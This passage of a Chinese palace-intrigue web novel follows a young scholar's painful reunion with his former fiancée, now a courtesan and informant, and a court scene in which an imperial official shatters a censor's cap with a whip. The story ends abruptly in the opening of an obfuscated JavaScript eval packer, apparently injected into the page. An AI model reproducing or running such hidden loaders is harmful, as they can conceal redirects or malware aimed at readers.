粥棚前已排起了长队,多是些衣衫褴褛的饥民,老人、孩童、妇人,个个面黄肌瘦,眼巴巴地望着锅里。杨明远亲自执勺,一碗一碗地盛粥,递给那些伸过来的破碗。他今日穿一身半旧的靛蓝直裰,袖口挽起,露出清瘦的手腕,额上沁着细汗,却浑然不觉。 阳光透过古柏的枝叶洒下来,在他脸上投下斑驳的光影,显得那张温润的面容越发清俊。他一边盛粥,一边与那些饥民说话,声音温和,如春风拂面。 “老人家,从哪里来?” “回公子,从保定府来……家乡遭了旱,颗粒无收,一路乞讨到京城……” “孩子多大了?可读过书?” “八岁了,哪里读得起书……能吃饱饭就不错了……” 杨明远听着,心中沉甸甸的,像压了一块巨石。他能做的,也不过是施几碗粥,说几句安慰的话。可这世道的问题,岂是几碗粥能解决的?旱灾、赋税、兵役……这些压在百姓头上的大山,他搬不动,杨家搬不动,满朝文武又有几人真心想搬? 想起那日萧道煜在永安伯府寿宴上的话,他胸口便一阵发闷。那个人摔了盘子,说了那些诛心之言,当时他觉得太过,可如今细想,哪一句不是实话?朱门酒肉臭,路有冻死骨——这京城里,一边是永安伯府一桌宴席耗费千金,一边是这些饥民连碗粥都喝不上。而他们这些所谓的清流,所谓的仁义,在真正的苦难面前,何其苍白无力。 “公子,”书童砚台小声提醒,“粥快见底了。” 杨明远回过神来,看了眼锅里,果然只剩薄薄一层。他点点头:“再熬一锅。” 正说着,远处传来一阵马蹄声,踏碎了山寺的宁静。几个锦衣华服的公子哥儿骑马而来,领头的正是卢弘义。他今日穿一身宝蓝织金箭袖袍,腰间佩着镶红宝石的波斯弯刀,意气风发,与这粥棚前的凄惨景象格格不入。 马蹄踏起尘土,扑了饥民们一身。队伍一阵骚动,却无人敢出声。 卢弘义勒住马,居高临下地看着杨明远,眼中满是讥诮:“哟,这不是杨公子吗?怎么,杨家已经穷到要公子亲自来施粥了?” 他身后几个纨绔哄笑起来,笑声刺耳。 杨明远面色不变,只淡淡道:“卢公子说笑了。施粥济民,本是善举,与贫富无关。” “善举?”卢弘义嗤笑,翻身下马,走到粥棚前,用马鞭拨了拨锅里的粥,那动作轻佻而侮辱,“杨公子倒是会说话。可我怎么听说,你祖父杨廷鹤前些日子还上了折子,要整顿盐政,断了不少人的财路?这善事做得,恶事也做得,杨公子倒是两头不耽误啊!” 这话说得露骨,几个饥民都吓得低下头。杨明远攥紧了手中的粥勺,指节发白,却还是强忍着怒气:“朝廷大事,自有公论。卢公子若无事,还请自便,莫要惊扰了这些百姓。” “百姓?”卢弘义扫了一眼那些衣衫褴褛的人,眼中满是鄙夷,“一群贱民罢了,也配叫百姓?杨公子,不是我说你,你有这工夫,不如多想想怎么保住你杨家的位置。这朝堂上的事,可不是施几碗粥就能解决的。你祖父那道折子,得罪了多少人?你可知道?” 他凑近一步,压低声音,语气阴冷:“盐政背后,牵扯的可不只是几个地方官。宫里,王府,勋贵……哪一家没在里面分一杯羹?你杨家想当清流,想当忠臣,可也得看看,这龙椅上坐着的是谁,这天下,是谁家的天下!” 杨明远脸色一白,嘴唇动了动,却没说出话来。 卢弘义见他这般,越发得意,拍了拍他的肩,力道不轻:“杨公子,听我一句劝,回去劝劝你祖父,这浑水,蹚不得。否则……嘿嘿。” 他没说完,但那声“嘿嘿”里的威胁,谁都听得明白。 说完,他翻身上马,一扬马鞭,带着人扬长而去,马蹄溅起的尘土又扑了饥民们一身。 杨明远站在原地,看着那远去的背影,胸口剧烈起伏。书童砚台担心地唤他:“公子……” “我没事。”杨明远闭了闭眼,深吸一口气,重新拿起粥勺,“继续施粥。” 可心里那团火,却怎么也压不下去。卢弘义的话像一根刺,狠狠扎进他心里。是啊,施粥有什么用?能改变这世道吗?能救这些百姓于水火吗?他杨家三代清流,祖父为官数十载,两袖清风,可到头来,连一道整顿盐政的折子都递得如此艰难。这朝堂,这天下,究竟烂到了什么地步? 他想起祖父的话,那日祖父将他叫到书房,指着墙上那幅《寒江独钓图》,缓缓道:“明远,你要记住,为官者,当为民请命。可这请命,也要有命才能请。这世道,清流难为,忠臣难做。你要学会……审时度势。” 审时度势。 四个字,重如千钧。 杨明远当时不懂,如今却渐渐明白了。这“时”,是皇帝的猜忌,是太上皇的掣肘,是各方势力的博弈;这“势”,是盐政背后的利益网,是盘根错节的官场关系,是你动一人便牵全身的危局。 可他该如何审?如何度? 粥施完了,饥民们千恩万谢地散去。杨明远让砚台收拾东西,自己则走进大觉寺,想静静心。 寺中古柏森森,阳光透过枝叶洒下来,在地上投下斑驳的光影。空气中弥漫着香火味,还有草木的清新气息。他沿着青石路慢慢走,心中的郁结渐渐散了些。 走到一棵千年古柏下,他停下脚步。这棵树怕是要五六人才能合抱,树干上满是岁月留下的沟壑,像老人脸上的皱纹,沧桑而沉默。树下有个石凳,他坐下,闭上眼,听着风吹过树梢的沙沙声,如涛如浪,仿佛能将尘世的烦忧都洗净。 忽然,他听见极轻的脚步声,如落叶拂地。 睁开眼,看见一个女子从远处走来。一身素白绣折枝玉兰的襦裙,外罩藕荷色比甲,发髻松松绾着,只簪一支白玉莲花簪。她走得很慢,低着头,似乎在找什么东西,身影在古柏投下的光影里时隐时现,如一幅淡墨山水画。 阳光透过枝叶,在她身上洒下细碎的光斑,那光斑跳跃着,仿佛有生命一般。她抬起头时,杨明远看清了她的脸—— 时间仿佛在这一刻静止。 风停了,鸟雀噤声,连古柏的沙沙声都远了。 那张脸,他曾在梦里见过千百回。那年,盛家还未出事,她还是苏州盛家的嫡女,他是杨家最得意的长孙。两家定了娃娃亲,他叫她“晚湘妹妹”,她叫他“明远哥哥”。 那时她还是个小姑娘,圆圆的脸,大大的眼睛,笑起来眼睛弯弯的,像月牙。她最爱穿鹅黄的裙子,在盛家后园扑蝴蝶,跑起来裙裾飞扬,如一只翩跹的黄鹂。 后来盛家家破人亡,女眷没入教坊司。他求祖父救她,跪在书房外整整一夜。祖父出来时,眼中有泪,却只是叹气:“明远,不是祖父不救,是救不了。这是圣旨,谁敢违抗?” 从那以后,他再也没见过她。只听说她成了京城倚红楼的头牌,琴棋书画样样精通,尤其一手琵琶,弹得出神入化。京城里的达官贵人,为听她一曲,一掷千金者不在少数。 他曾偷偷去过倚红楼,透过窗子看过她一眼。那日她穿着艳丽的桃红衣裙,抱着琵琶,在台上弹唱《长相思》。灯光下,她美得惊心动魄,笑得风情万种。可那双眼睛,再也不是他记忆里清澈的模样,而是深不见底,如古井寒潭。 而现在,她就这样出现在他面前,穿着素衣,不施粉黛,清冷得像一株玉兰,开在这古寺深林里,恍如隔世。 盛晚湘也看见了他。 她脚步一顿,整个人僵在原地,手中的帕子飘落在地,都浑然不觉。四目相对,两人都从对方眼中看到了震惊、慌乱,还有深埋心底、十年未愈的痛楚。 风又起了,吹得古柏沙沙作响,吹得她裙裾微扬。 许久,杨明远缓缓站起身,声音干涩,像砂纸磨过粗粝的石头:“盛……盛姑娘。” 盛晚湘低下头,弯腰拾起帕子,那动作有些仓促。她福了一福,声音轻得像羽毛:“杨公子。” 隔了十年的光阴,隔了云泥之别的身份,隔了家破人亡的惨痛,隔了数不尽的夜夜难眠。 杨明远看着她低垂的眉眼,心中涌起千言万语,如潮水般翻腾,却一个字也说不出来。他想问这些年她过得好不好,想问她在教坊司受了多少苦,想问她可曾怨过他,想问她……可还记得当年那个跟在她身后、叫她“晚湘妹妹”的少年。 可话到嘴边,却成了:“姑娘在找什么?” 盛晚湘怔了怔,低声道:“一枚玉佩……不小心掉了。” “玉佩?”杨明远想起方才在石凳旁,似乎看见一点莹白的光,在草丛里一闪而过。他走过去,俯身寻找,拨开杂草,果然在青苔间找到了一枚玉佩。 只是那玉佩已经碎了,裂成两半。羊脂白玉,雕成并蒂莲的样式,莲瓣精致,莲心一点嫣红,是天然的血沁。只是断裂处参差不齐,像两颗被生生撕开的心,再也拼不回去。 杨明远捡起碎玉,手微微发抖。 他认得这玉佩。这是当年定亲时,盛家送来的信物之一,与盛晚湘的八字一同装在锦盒里,由盛夫人亲手交到杨夫人手上。另一枚在他那里,雕的是鸳鸯戏水,他一直收在书房最底层的紫檀木匣中,从未示人,却时常取出摩挲,一坐便是半日。 “是这枚吗?”他将碎玉递过去,掌心向上,那两半碎玉静静躺在他手中,在阳光下泛着温润的光。 盛晚湘接过,指尖触到他的掌心,一触即分,如蜻蜓点水。可那一点温热,却像火炭般烫进心里。她看着手中碎成两半的玉佩,眼中泛起水光,却强忍着没让泪落下来,只将那碎玉紧紧攥在手心,棱角硌得皮肉生疼。 “是……”她声音轻得像叹息,“多谢杨公子。” 永结同心。 如今看来,多么讽刺。 同心未结,心已先碎。 “盛姑娘……”他开口,却不知该说什么。千言万语堵在喉头,化作一片苦涩。 盛晚湘抬起头,看着他,眼中水光潋滟,却带着一种近乎决绝的平静:“杨公子,今日之事,就当从未发生过。你我还是……陌路之人。” 说完,她转身就要走,脚步有些踉跄。 “晚湘!”杨明远脱口而出,叫了她的闺名。那两个字在舌尖滚了十年,此刻喊出来,竟有些陌生,又有些撕心裂肺的痛。 盛晚湘脚步一顿,背脊僵直,如一根绷紧的弦。 “我……”杨明远上前一步,却又停住。他想说什么?能说什么?说他还念着她?说他从未忘过她?说他书房里还收着那枚鸳鸯玉佩,说他……他其实从未娶亲,也从未想过娶别人? 可这些有什么用? 他能救她出火坑吗?能给她一个名分吗?能让她堂堂正正站在阳光下,做回盛晚湘吗? 不能。 他是杨家的长孙,是 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她走得很快,裙裾翻飞,像一只受惊的白蝶,在古柏林间穿梭。直到转过几个弯,确认杨明远没有跟来,她才停下脚步,扶着一棵老树,剧烈地喘息。 眼泪终于滚下来,一滴一滴,砸在青石板上,洇开深色的水痕。她咬着唇,没出声,只任泪水无声流淌,湿了衣襟,湿了袖口。 她想起刚才杨明远看她的眼神——震惊,痛楚,还有……怜悯。她最不需要的就是怜悯。这十年,她从一个千金小姐沦落为风尘女子,什么苦没吃过?什么羞辱没受过?被客人灌酒,被鸨母打骂,被其他姑娘排挤,被那些所谓的“贵人”当做玩物……她早就学会了把眼泪咽进肚子里,把笑容戴在脸上,把心封在冰里。 可为什么,看见他的那一刻,所有的伪装都土崩瓦解?为什么那声“晚湘”,还能让她心如刀绞?为什么那枚碎玉,还能让她疼得喘不过气? 她抬起手,看着掌心那两半碎玉。并蒂莲,永结同心——多美的寓意,多残忍的现实。这玉佩她一直贴身藏着,用丝帕包着,放在贴身的小荷包里,从未离身。可今日,偏偏在他面前掉了,偏偏碎了。 像是老天在提醒她:盛晚湘,你和他之间,早就断了。断在十年前那个雨天,断在盛家男丁被押赴刑场的那一刻,断在你被拖进教坊司的那一夜。 你还在奢望什么? 她将碎玉紧紧攥在手心,棱角硌得皮肉生疼,几乎要嵌进肉里。可这痛,比起心里的痛,又算得了什么?那痛是绵长的,钝钝的,像一把生锈的刀子,在心上慢慢割,十年了,从未停止。 远处传来钟声,悠长沉重,一声一声,敲在她心上。她抬起头,看见前方有座佛殿,匾额上写着“药师殿”三个字,金漆已有些剥落,在阳光下泛着陈旧的光。 鬼使神差地,她走了进去。 殿内光线昏暗,只几缕阳光从窗棂漏进来,照亮飞舞的尘埃。正中供奉着药师琉璃光如来,佛像宝相庄严,垂目慈悲,左手持药钵,右手施无畏印,像是在怜悯这世间一切苦难。香炉里燃着香,青烟袅袅升起,在殿中弥漫开一种安宁的气息,混着檀香与旧木的味道。 殿中有个老尼在角落里打盹,头一点一点,如风中残烛。 盛晚湘走到佛前,跪下,双手合十。蒲团是旧的,棉絮有些硬,硌得膝盖生疼。她想祈祷,却不知该祈祷什么。祈祷与杨明远再续前缘?那是痴心妄想。祈祷脱离苦海?可她已是北镇抚司的密探,这辈子都洗不干净了,就算离开倚红楼,也永远摆脱不了这个身份。 最后,她只是轻声说,声音哑得几乎听不见:“信女盛晚湘,愿以此残生,换杨家平安,换杨明远……一世顺遂,姻缘美满,子孙满堂。” 说完,她伏下身,额头抵在冰冷的地砖上,眼泪无声地流淌,湿了一小片青砖。 佛垂目,不言。 不知过了多久,也许是一炷香,也许是一个时辰,身后传来极轻的脚步声,踩在青砖上,沙沙的。 她连忙擦干眼泪,站起身,回头看去—— 是杨明远。 他站在殿门口,逆着光,身影有些模糊,如剪影。可那双眼睛,却清清楚楚地看着她,眼中满是痛楚与挣扎,还有深不见底的情意,如暗潮汹涌。 “你……”盛晚湘后退一步,声音发颤,“你怎么来了?” 杨明远走进殿中,每一步都沉重得像拖着千斤重担。他在她面前停下,看着她红肿的眼睛,心中一阵抽痛,如被钝器击中。 “我跟着你来的。”他声音沙哑,像砂纸磨过,“晚湘,我们……能不能好好说句话?就一句。” 盛晚湘别过脸,不敢看他:“没什么好说的。杨公子,请你离开。” “就一句。”杨明远上前一步,抓住她的手腕。那手腕纤细,凉得像玉,在他掌心微微发抖,如受惊的雀儿。“晚湘,这些年……你过得好不好?” 盛晚湘浑身一颤,想抽回手,却被他握得更紧。那掌心温热,熨帖着她冰凉的皮肤,竟让她有一刹那的贪恋。可她很快清醒过来,用力挣开,后退两步,背抵在供桌上,声音冷下来:“杨公子觉得呢?能过得好吗?” 这话像一把刀子,狠狠扎进杨明远心里。他踉跄后退一步,脸色苍白如纸,眼中痛楚翻涌,几乎要溢出来。 “对不起……”他喃喃道,声音破碎,“是我没用……救不了你……当年我跪在祖父书房外,跪了一夜……可祖父说,这是圣旨,谁都救不了……晚湘,我对不起你……” “不关你的事。”盛晚湘转过身,背对着他,肩膀微微颤抖,“是我命不好。杨公子,过去的就让它过去吧。你是清流之后,前程似锦。而我……我早就不是当年的盛晚湘了。” 她顿了顿,声音更轻,如风中残烛:“从今往后,你我只是陌路。你走你的阳关道,我过我的独木桥。你……你要好好的。” 杨明远看着她单薄的背影,那背影在昏暗的佛殿里显得那么脆弱,仿佛一碰就会碎。他想说什么,想告诉她他还念着她,想告诉她这十年他从未忘记过她,想告诉她他书房里那枚鸳鸯玉佩…… 可话到嘴边,却成了:“晚湘,你……你要保重。若有难处,可以……可以来找我。” 盛晚湘闭上眼,眼泪又流下来,顺着脸颊滑进衣领,冰凉一片。她没回头,只是轻轻点头,声音几不可闻:“你也是。” 说完,她快步走出药师殿,消失在门外刺目的阳光里。 杨明远站在原地,许久,缓缓跪在佛前。他仰头看着药师佛慈悲的面容,心中一片荒凉,如秋日原野,万物凋零。 佛啊佛,你若真有灵,为何要让好人受难,要让有情人分离?为何这世道,总是朱门酒肉臭,路有冻死骨?为何清流难为,忠臣难做?为何……为何他连心爱的女子都护不住? 殿外暮色沉沉,钟声又起。 一声一声,悠长沉重,像是在为这错位的姻缘,敲响丧钟。 夜幕降临,华灯初上。 倚红楼里,丝竹声起,笑语喧哗,如每一个寻常的夜晚。盛晚湘换上了一身艳丽的桃红缕金百蝶穿花云锦裙,描眉画眼,涂上朱唇,对着铜镜练习微笑。 镜中的女子美艳不可方物,眉如远山,目似秋水,唇点檀珠色,颊染胭脂红。她勾起唇角,眼波流转,风情万种。可那双眼睛深处,却是一片死寂,如古井无波,再激不起半点涟漪。 丫鬟画眉进来通报,声音小心翼翼:“姑娘,靖远伯来了,点名要听您弹琵琶。” 盛晚湘站起身,理了理裙摆,脸上绽开一个完美的笑容,那笑容甜得发腻,却无温度:“知道了,我这就去。” 她抱起琵琶——那是一把紫檀木琵琶,背板雕着缠枝莲,琴头镶着螺钿,是萧道煜前些日子赏的。她走到窗边,推开窗,夜风灌进来,带着荷塘的水汽和远处丝竹的暖昧。 她从袖中取出那两半碎玉,摊在掌心,看了最后一眼。 并蒂莲,永结同心。 多美的梦,多痛的醒。 她抬手,将它们扔出窗外。 碎玉在空中划出两道莹白的弧线,如流星坠地,悄无声息地落入楼下荷塘,“噗通”两声轻响,连个水花都没溅起,便沉入水底,陷入淤泥。 像两颗心,沉入无尽的黑暗,永不见天日。 盛晚湘深吸一口气,关上窗,脸上重新挂上那完美的、无懈可击的笑容。她抱起琵琶,袅袅婷婷地走出房门,裙裾拖过地面,沙沙作响,如春蚕食叶。 楼下,靖远伯正与几个纨绔喝酒划拳,见她下来,眼睛一亮,招手道:“晚湘姑娘!快来!给爷弹一曲《春江花月夜》!弹得好,爷重重有赏!” “是。”盛晚湘柔声应道,坐下,拨动琴弦。 琵琶声起,婉转缠绵,如春江潮水,月照花林。她弹得极好,指法娴熟,情感饱满,仿佛真置身于那个春江花月夜,看潮起潮落,月升月沉。可弹琴的人,脸上却只有恰到好处的微笑,眼中再无波澜,如精致的偶人,美则美矣,却无灵魂。 窗外,月色如水。 荷塘里,并蒂莲的碎玉静静躺在淤泥中,被水草缠绕,被鱼虾触碰,再也不会重圆。 就像有些缘分,断了,就是断了。 就像有些人,错过了,就是一辈子。 而在京城另一处,北镇抚司值房内,烛火通明。 萧道煜坐在书案后,面前摊着盛晚湘送来的那叠信笺。她一行行看过去,目光冰冷,如刀锋刮过纸面。 ……一个个名字,一笔笔赃款,一桩桩罪行,如一幅巨大的、污秽的画卷,在她面前缓缓展开。这画卷里,有贪官污吏,有勋贵权臣,有宫里的影子,有王府的触手,盘根错节,牵一发而动全身。 她想起太上皇的话,那日她去西苑请安,太上皇靠在榻上,手里把玩着和田玉如意,慢悠悠地说:“道煜啊,江南盐政,是个马蜂窝。你这一刀砍下去,蜇的可不止是那几个贪官。朕老了,不想折腾了,可有些人……不甘心啊。” 有些人,指的是谁?是永熙帝?是忠顺王?还是那些隐藏在暗处、蠢蠢欲动的势力? 她也想起永熙帝的眼神。那日朝会之后,皇帝将她叫到御书房,屏退左右,亲手给她斟了杯茶,语气温和,却字字千斤:“道煜,你是朕的堂弟,是自家人。这盐政的案子,朕交给你,是因为信你。那些蛀虫,该抓的抓,该杀的杀,不必手软。只是……要快,要准,要狠。” 快,准,狠。 三个字,如三把刀,悬在她头上。 她知道,皇帝要的不仅是一个干净的盐政,更是一个震慑,一次清洗,一次权力的重新分配。而她,就是皇帝手中最锋利的那把刀。刀用完了,是该收鞘,还是……折断? 萧道煜放下信笺,揉了揉眉心。腹中的痛楚又隐隐发作,像有一只无形的手在里头翻搅。她倒出一粒药丸吞下,苦涩的味道在口腔里弥漫开。 窗外,夜色如墨,星子稀疏。 她走到窗前,推开窗,夜风灌进来,带着春夜的凉意。远处宫城的轮廓在夜色里若隐若现,如一头蛰伏的巨兽,静静等待着什么。 这京城,这皇城,这天下,就像一个巨大的戏台,每个人都在上面演戏,唱念做打,生旦净末丑。而她,扮了二十年的小生,演了二十年的世子,还要演多久? 她不知道。 她只知道,这场戏,她还得演下去。 演到幕落。 演到灯熄。 演到……她再也演不动为止。 夜风拂过,吹动她额前的碎发。她闭上眼,深深吸了口气,再睁开时,眼中已是一片清明,如寒潭映月,冷冽而坚定。 明天,该上朝了。 该递折子了。 该……动手了。 烛火在夜风里跳跃,将她的影子投在墙上,拉得很长,很孤独。 像这漫长而孤寂的一生。 6. 第 6 章 京城的天亮得一日比一日早。 卯初时分,夜色还未褪尽,东边天际已泛着淡青的微光,像一块浸了水的淡蓝绸子,透着清透的凉意。 宫城角楼上传来钟声,悠长沉重,一声接一声,敲破这黎明的寂静。午门外已候满了文武百官,按品级列队,鸦雀无声。晨风从御道那头拂过来,带着草木初生的微凉和隐约的暑气,吹得众人冠带飘摇,袍袖拂动。 萧道煜站在武官队列的前列,一身绯色蟒袍在熹微晨光里暗红如血。她今日束了金冠,长发一丝不苟地绾在脑后,露出苍白如纸的面容。那双琥珀金色的眼睛半阖着,眼下有淡淡的青影——昨夜又未睡好,腹中旧疾发作,疼得她几乎一夜未眠。 可此刻站在这里,脊背挺得笔直,威仪凛然,任谁看了都要心生敬畏。 萨林在她身后半步处,着玄铁鳞甲,按刀肃立。他身形高大,暗金色短发在晨风里纹丝不动,绿眸警惕地扫视着四周。清晨的微凉对他似乎毫无影响,只有看向世子时,那双眼睛里才会闪过不易察觉的担忧。 卯正二刻,宫门缓缓开启。 两队锦衣卫鱼贯而出,分列御道两侧。众官员整理衣冠,依次入宫。青石板路被晨露打湿了,映着宫灯昏黄的光,像蒙了一层湿润的釉。 萧道煜走在最前面,脚步不疾不徐。绯色官袍的下摆拂过湿漉漉的地面,留下一道浅浅的水痕。她面色平静,心中却是一片冰冷。 今日朝会,不会太平。 昨日北镇抚司截获密报,御史台有人要联名弹劾她“滥用酷刑,草菅人命”。领头的便是都察院左副都御史张汝贞——那个以刚直敢言著称的老臣,三朝元老,门生故旧遍布朝野。 她倒是不怕弹劾。这些年弹劾她的折子堆起来能有一人高,哪次不是雷声大雨点小?可今日不同。张汝贞此番举动,背后定有人指使。是谁?太上皇?还是……永熙帝? 思绪纷乱间,已到金銮殿前。 九重丹墀,汉白玉栏杆在晨光里泛着冷硬的光泽,被渐暖的晨光镀上一层柔和的边。殿前铜龟铜鹤默然肃立,口中吐着袅袅青烟——那是内侍刚添的龙涎香,香气醇厚,却压不住这深宫里的肃杀之气。 萧道煜拾级而上,绯色官袍在石阶上拖曳,像一道血痕。 辰时正,朝会开始。 永熙帝端坐龙椅之上,着明黄十二章衮服,头戴十二旒冕冠。他今年二十有二,面容清俊,眉眼间却带着与年龄不符的深沉。此刻垂目看着丹墀下的百官,神色平静,看不出喜怒。 司礼太监尖着嗓子唱道:“有事启奏,无事退朝——” 话音未落,文官队列中走出一人。 正是张汝贞。 他已年过六旬,须发花白,却精神矍铄。今日着一身青缎獬豸补服,头戴五梁冠,手持象牙笏板,步履沉稳地走到御阶前,躬身行礼。 “臣,都察院左副都御史张汝贞,有本启奏。” 永熙帝微微颔首:“讲。” 张汝贞直起身,目光扫过武官队列前的萧道煜,声音洪亮如钟:“臣弹劾北镇抚司镇抚使、忠顺王世子萧道煜,滥用酷刑,草菅人命,藐视国法,残害忠良!” 此言一出,满殿哗然。 虽然早有风声,可当张汝贞当真在朝会上当众弹劾,还是让不少人倒吸一口凉气。谁不知道萧道煜是永熙帝亲封的镇抚使,执掌诏狱,权倾朝野?弹劾她,无异于虎口拔牙。 萧道煜站在原地,面色不变,甚至连眼皮都没抬一下。 永熙帝眉头微蹙:“张爱卿,弹劾重臣,须有实据。” “臣有实据!”张汝贞从袖中取出一本奏折,双手呈上,“近三月来,北镇抚司诏狱共收押人犯一百二十七名,其中四十三人死于酷刑,二十九人伤残,余者皆受非刑。死者中有前扬州知府刘文炳、前户部郎中赵元礼等七人,皆朝廷命官,未经三司会审,便惨死诏狱!” 他顿了顿,声音更加激愤:“更有甚者,世子萧道煜当众羞辱永安伯府,摔碎寿宴杯盘,言语狂悖,有失臣礼!此等行径,岂是宗室子弟所为?岂是朝廷重臣所当为?” 殿中一片死寂。 只有张汝贞的声音在空旷的大殿里回荡,字字铿锵,像一把把锤子,砸在每个人心上。 永熙帝接过太监递上的奏折,翻开看了几眼,面色渐渐沉下来。他抬眼看向萧道煜:“萧卿,张御史所奏,可有此事?” 萧道煜这才缓缓出列。 她走到张汝贞身侧,先向御座行礼,然后转身,看着这位老臣。琥珀金色的眼睛在殿内烛光下流动,像熔化的金子,美得妖异,也冷得刺骨。 “张御史说完了?”她开口,声音清冷,听不出情绪。 张汝贞昂首挺胸:“句句属实!” “好。”萧道煜点点头,忽然笑了。那笑意未达眼底,唇角勾起的弧度冰冷而讥诮,“那本世子问张御史,刘文炳任扬州知府三年,贪墨漕银二十八万两,致使去岁扬州大水,堤坝溃决,淹死百姓七百余人——此事,御史台可知?” 张汝贞一怔:“这……” “赵元礼任户部郎中期间,与盐商勾结,倒卖盐引,获利十五万两——此事,都察院可曾查过?” “你……” “还有端阳那日,”萧道煜打断他,声音陡然转厉,“吾摔了永安伯府的盘子,说了不该说的话。可张御史可知,那日荷花巷口饿死了三个饥民?可知那一盘蟹粉狮子头,够那三个饥民吃三个月?” 她往前一步,逼近张汝贞。虽然身形单薄,可那气势却压得老臣下意识后退半步。 “张御史口口声声说‘草菅人命’,那吾问你,刘文炳贪墨的银子,是不是民脂民膏?赵元礼倒卖的盐引,是不是百姓的血汗?他们死了,是罪有应得!而那些因他们贪墨而死的百姓,又该向谁讨公道?” 字字如刀,句句见血。 张汝贞脸色涨红,胡须颤抖:“强词夺理!就算他们有罪,也该由三司会审,依律定罪!岂能由你北镇抚司私设公堂,滥用酷刑!” “三司会审?”萧道煜嗤笑,“张御史以为,三司就是干净的?大理寺卿周谨之——”她忽然转向文官队列中一人,“周大人,您来说说,去岁江南军饷亏空案,三司会审了三个月,最后定罪几人?追回赃银多少?” 被点名的周谨之浑身一颤。 他是个五十出头的中年人,面容清癯,穿着二品孔雀补服,此刻站在队列中,脸色煞白,额头渗出细密的冷汗。听见萧道煜点名,他嘴唇哆嗦着,想说些什么,却一个字也吐不出来。 “周大人怎么不说话?”萧道煜步步紧逼,“是不记得了,还是不敢说?那本世子替您说——江南军饷亏空一百二十万两,三司会审三个月,最后只定了两个从六品小官的罪,追回赃银……八万两。余下的银子哪去了?被谁贪了?三司查出来了吗?” 她环视全场,琥珀金色的眼睛里满是讥诮:“这就是张御史说的‘依律定罪’?这就是三司会审?依的是谁的律?定的是谁的罪?是贪官污吏的律,还是百姓的罪?” 满殿死寂。 百官垂首,无人敢应。 张汝贞气得浑身发抖,指着萧道煜:“你……你放肆!朝堂之上,岂容你如此狂悖!” “吾放肆?”萧道煜猛地转身,从萨林腰间抽出马鞭——那是一根乌金绞丝的软鞭,平时不用时缠在腰间,此刻被她握在手中,泛着冷硬的光泽。 “张汝贞!”她厉声喝道,“你口口声声为民请命,那吾问你,去年山东大旱,饿殍遍野,你上了几道折子?今年江南水患,数十万灾民流离失所,你又做了什么?不过是坐在都察院里,喝着茶,看着书,弹劾这个,参奏那个——这就是你的‘为民请命’?” 话音未落,她手腕一抖。 “啪!” 乌金软鞭如毒蛇出洞,在空中划出一道凌厉的弧线,直取张汝贞头顶。 张汝贞下意识闭眼。 只听“咔嚓”一声脆响。 他头顶的五梁冠应声而碎,玉片四溅,冠缨散落。花白的头发披散下来,遮住了他惊愕的脸。 满殿惊呼。 谁也没想到,萧道煜竟敢在金銮殿上,当着皇帝和百官的面,挥鞭击碎御史的梁冠! 这是何等的嚣张!何等的跋扈! 张汝贞踉跄后退,扶住殿柱才站稳。他抬起头,看着萧道煜,眼中满是震惊、愤怒,还有一丝不易察觉的……恐惧。 萧道煜收回马鞭,随手扔给萨林。她面色苍白如纸,胸口微微起伏,显然刚才那一鞭耗了她不少力气。可那双眼睛依然冷冽,像淬了寒冰的刀。 “这一鞭,”她缓缓开口,声音不大,却字字清晰,“是替那些死在贪官手里的百姓打的。张御史若不服,尽管再上折子弹劾。吾倒要看看,是你都察院的笔杆子硬,还是北镇抚司的鞭子硬。” 说完,她转身,面向御座,单膝跪地:“臣殿前失仪,请陛下责罚。” 永熙帝坐在龙椅上,看着这一幕,脸色变幻不定。许久,他缓缓开口:“萧卿……起来吧。” 萧道煜站起身,垂手肃立。 永熙帝看向张汝贞,语气平淡:“张爱卿,你先退下,整理衣冠。此事……容后再议。” “陛下!”张汝贞还想说什么。 “退下。”永熙帝声音转冷。 张汝贞浑身一颤,终于低下头,踉跄着退出大殿。散乱的头发披在肩上,背影佝偻,像个一夜之间老去十岁的老人。 朝会继续,却再无人敢出声。 每个人心里都明白,今日这一鞭,打碎的不仅是张汝贞的梁冠,更是某种维持了多年的平衡。从今往后,这朝堂之上,北镇抚司的威势,将再无人敢撄其锋。 萧道煜站在队列中,面色平静,可藏在袖中的手,却微微发抖。刚才那一鞭牵动了旧疾,腹中疼痛一阵紧过一阵,像有把刀在里面搅。她咬紧牙关,强忍着。 不能倒。 绝不能在这里倒下。 眼角余光瞥见龙椅上的永熙帝,她心中冷笑。皇帝今日的沉默,何尝不是一种默许?借她的手,打压清流,震慑百官——这就是帝王权术。 而她,不过是一把刀。 一把好用,却也随时可能被弃的刀。 散朝时,已近午时。 初夏的阳光透过云层洒下来,暖意渐浓,却照不进这宫城深处的阴冷。百官依次退出金銮殿,个个面色凝重,脚步匆匆,像逃离什么可怕的地方。 周谨之走在人群中,只觉得浑身发冷。 方才殿上那一幕,像一场噩梦,在他脑海里反复回放。萧道煜挥鞭时的狠戾,张汝贞冠碎时的惊愕,还有皇帝那双深不见底的眼睛……这一切,都让他不寒而栗。 他想起很多年前,自己刚中进士,入翰林院时的意气风发。那时他以为,为官者当清正廉明,为民请命,方不负圣人教诲,不负平生所学。 可这二十多年宦海沉浮,他渐渐明白,这朝堂不是讲道理的地方,是讲利害的地方。清流?浊流?不过是个名头。真正重要的是站对位置,跟对人。 就像今日,张汝贞弹劾萧道煜,错了吗?从法理上讲,没错。可结果呢?冠碎殿前,颜面扫地。而皇帝,甚至连一句斥责都没有。 为什么? 因为萧道煜有用。因为她能替皇帝做那些脏事,能震慑百官,能平衡朝局。至于她用什么手段,杀多少人,皇帝不在乎。 周谨之忽然想起萧道煜问他的话:“江南军饷亏空案,三司会审了三个月,最后定罪几人?追回赃银多少?” 他当时不敢答,因为没法答。 那案子他经手过,知道里头的龌龊。一百二十万两军饷,从户部拨出,到江南大营,层层克扣,最后到士兵手里,只剩不到三成。可三司会审,查来查去,只抓了两个替罪羊——一个是户部的小主事,一个是江南的仓官。真正的大鱼,一个都没动。 为什么不敢动? 因为牵扯太多。从内阁到六部,从京城到地方,多少人的手伸进了这笔钱里?真要彻查,半个朝堂都要地震。 所以只能装聋作哑,只能抓小放大,只能……同流合污。 周谨之想到这里,胸口一阵窒闷。他加快脚步,想快点离开这令人窒息的地方。 走到午门外,正要上轿,忽然听见身后有人唤他:“周大人留步。” 周谨之回头,看见萧道煜站在不远处。她已换了常服,一身玄色箭袖,外罩石青披风,面色依然苍白,可那双琥珀金色的眼睛,在阳光下亮得灼人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 